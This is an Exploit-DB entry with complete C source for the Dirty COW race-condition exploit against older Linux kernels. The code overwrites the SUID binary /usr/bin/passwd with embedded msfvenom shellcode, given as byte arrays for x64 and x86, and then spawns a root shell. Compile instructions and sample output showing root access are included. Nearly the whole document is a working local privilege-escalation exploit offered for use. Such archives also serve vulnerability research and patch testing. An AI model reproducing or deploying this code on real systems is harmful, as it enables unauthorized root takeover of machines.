Exploit-DB #40616
Description: Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (SUID Method)
Type: local
Platform: linux
Date: 2016-10-21
Author: Robin Verton

Exploit:
/*
*
* EDB-Note: After getting a shell, doing "echo 0 > /proc/sys/vm/dirty_writeback_centisecs" may make the system more stable.
*
* (un)comment correct payload first (x86 or x64)!
* 
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd is overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>

void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;

// change if no permissions to read
char suid_binary[] = "/usr/bin/passwd";

/*
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/ 
unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
  0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
  0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
  0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
  0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
  0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;

/*
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
  0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
  0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
  0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
  0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
  0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
  0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 136;
*/

void *madviseThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int i,c=0;
    for(i=0;i<1000000 && !stop;i++) {
        c+=madvise(map,100,MADV_DONTNEED);
    }
    printf("thread stopped\n");
}

void *procselfmemThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int f=open("/proc/self/mem",O_RDWR);
    int i,c=0;
    for(i=0;i<1000000 && !stop;i++) {
        lseek(f,map,SEEK_SET);
        c+=write(f, str, sc_len);
    }
    printf("thread stopped\n");
}

void *waitForWrite(void *arg) {
    char buf[sc_len];

    for(;;) {
        FILE *fp = fopen(suid_binary, "rb");

        fread(buf, sc_len, 1, fp);

        if(memcmp(buf, sc, sc_len) == 0) {
            printf("%s is overwritten\n", suid_binary);
            break;
        }

        fclose(fp);
        sleep(1);
    }

    stop = 1;

    printf("Popping root shell.\n");
    printf("Don't forget to restore /tmp/bak\n");

    system(suid_binary);
}

int main(int argc,char *argv[]) {
    char *backup;

    printf("DirtyCow root privilege escalation\n");
    printf("Backing up %s.. to /tmp/bak\n", suid_binary);

    asprintf(&backup, "cp %s /tmp/bak", suid_binary);
    system(backup);

    f = open(suid_binary,O_RDONLY);
    fstat(f,&st);

    printf("Size of binary: %d\n", st.st_size);

    char payload[st.st_size];
    memset(payload, 0x90, st.st_size);
    memcpy(payload, sc, sc_len+1);

    map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

    printf("Racing, this may take a while..\n");

    pthread_create(&pth1, NULL, &madviseThread, suid_binary);
    pthread_create(&pth2, NULL, &procselfmemThread, payload);
    pthread_create(&pth3, NULL, &waitForWrite, NULL);

    pthread_join(pth3, NULL);

    return 0;
}